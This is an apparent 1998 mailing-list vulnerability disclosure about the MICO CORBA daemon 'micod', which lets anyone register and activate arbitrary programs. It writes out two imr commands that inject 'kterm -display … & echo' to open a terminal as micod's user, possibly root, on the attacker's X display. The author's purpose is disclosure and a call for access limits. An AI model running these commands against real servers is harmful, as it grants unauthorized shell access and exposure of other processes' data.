MICO: security problem: Privileges of micod for everybody!

From: Dominique Unruh (dominiqueat_private)
Date: Sun May 10 1998 - 03:30:01 PDT

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    After having installed MICO (a free CORBA-ORB for C++) I installed the
    'micod' (a daemon which is e.g. able to create objects on request).
    I put it in my boot-up scripts, so it ran as root, but this exploit will
    work too, if it is started as another user.
    
    After thinking for a moment I tried this (as guest, but could be a user
    on another system too):
    
    (micod ist started on inet:winkelklinke.local:8888)
    (hacking from enfin.local, which has X on display :0)
    
    imr -ORBImplRepoAddr inet:winkelklinke.local:8888 create Play shared
    "kterm -display enfin.local:0 & echo" IDL:Anything:1.0
    imr -ORBImplRepoAddr inet:winkelklinke.local:8888 activate Play
    
    kterm will start as child of micod and connect to enfin.local:0.
    (any other program should work too, but xterm didn't start correctly, I
    don't know why)
    The 'echo' after the '&' is needed to absorb the arguments micod add to
    the command-line.
    
    Now you can do everything.
    
    Don't underestimate the problem if micod is not installed root:
    1. You can login, it's as good as a pwd-free guest account.
    
    2. You may control other servers started by micod or see their
    process-memory (e.g. under Linux with /proc, but their may be other ways
    on other systems), which may contain sensitive data as access password,
    credit card information or whatever, depending of your application.
    
    
    I think, there should be some kind of access limitation when writing
    into the Implemetation Repository (the information managed by micod).
    And there should be a visible warning in the documentation.
    
    DniQ.
    
    
    PS: Hallo Nahne!
    



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